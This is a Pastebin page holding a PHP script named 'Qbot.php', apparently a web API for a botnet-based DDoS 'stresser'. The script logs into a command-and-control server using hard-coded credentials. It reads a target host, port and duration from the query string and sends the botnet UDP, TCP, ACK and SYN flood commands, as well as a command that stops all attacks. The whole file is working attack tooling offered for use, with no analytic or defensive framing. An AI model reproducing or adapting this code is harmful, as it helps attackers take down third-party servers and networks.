prostate

[API] Qbot.php

Mar 28th, 2020
625
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.11 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. //You can use your botnet for stressers/tools.
  5.  
  6. if ($_GET['qbot'] != "gsdKBG@#$"){
  7.  
  8. die("Sau nu.");
  9.  
  10. }
  11.  
  12.  
  13.  
  14. //Conectare la server.
  15.  
  16. $socket = fsockopen("1.1.0.0", 10);
  17.  
  18. ($socket ? null : die("Nu ma pot conecta."));
  19.  
  20. fwrite($socket, "api\n"); //user
  21.  
  22. fwrite($socket, "kyscunt934\n"); //parola
  23.  
  24.  
  25.  
  26.  
  27.  
  28. $port = (int)$_GET['port'] > 0 && (int)$_GET['port'] < 65536 ? $_GET['port'] : 80;
  29.  
  30. $port = preg_replace('/\D/', '', $port);
  31.  
  32. $ip = preg_match('/^[a-zA-Z0-9\.-_]+$/', $_GET['host']) ? $_GET['host'] : die();
  33.  
  34. $time = (int)$_GET['time'] > 0 && (int)$_GET['time'] < (60*60) ? (int)$_GET['time'] : 30;
  35.  
  36. $time = preg_replace('/\D/', '', $time);
  37.  
  38. $domain = $_GET['host'];
  39.  
  40. if(!filter_var($domain, FILTER_VALIDATE_URL) && !filter_var($domain, FILTER_VALIDATE_IP))
  41.  
  42. {
  43.  
  44. die("Invalid Domain");
  45.  
  46. }
  47.  
  48.  
  49.  
  50. //Executarea metodelor de flood.
  51.  
  52. if($_GET['method'] == "RAWUDP") { fwrite($socket, "!* UDP {$ip} {$port} {$time} 32 1024 1\n"); //Raw UDP
  53.  
  54. echo 'Attacking ' . $ip . ' ' . $port . ' ' . $time . ' with UDP'; }
  55.  
  56. elseif($_GET['method'] == "RAWTCP") { fwrite($socket, "!* TCP {$ip} {$port} {$time} 32 all 1024 1\n"); //Raw TCP
  57.  
  58. echo 'Attacking ' . $ip . ' ' . $port . ' ' . $time . ' with TCP'; }
  59.  
  60. elseif($_GET['method'] == "ACK") { fwrite($socket, "!* TCP {$ip} {$port} {$time} 32 ack 1024 1\n"); //Raw ACK
  61.  
  62. echo 'Attacking ' . $ip . ' ' . $port . ' ' . $time . ' with ACK'; }
  63.  
  64. elseif($_GET['method'] == "SYN") { fwrite($socket, "!* TCP {$ip} {$port} {$time} 32 syn 1024 1\n"); //Raw SYN
  65.  
  66. echo 'Attacking ' . $ip . ' ' . $port . ' ' . $time . ' with ACK'; }
  67.  
  68. elseif($_GET['method'] == "KILL") { fwrite($socket, "!* KILLATTK\n"); //STOP ALL ATTACKS RUNNING
  69.  
  70. echo 'Attack stopped.'; }
  71.  
  72.  
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80. fclose($socket);
  81.  
  82.  
  83.  
  84.  
  85.  
  86. ?>
Advertisement
Add Comment
Please, Sign In to add comment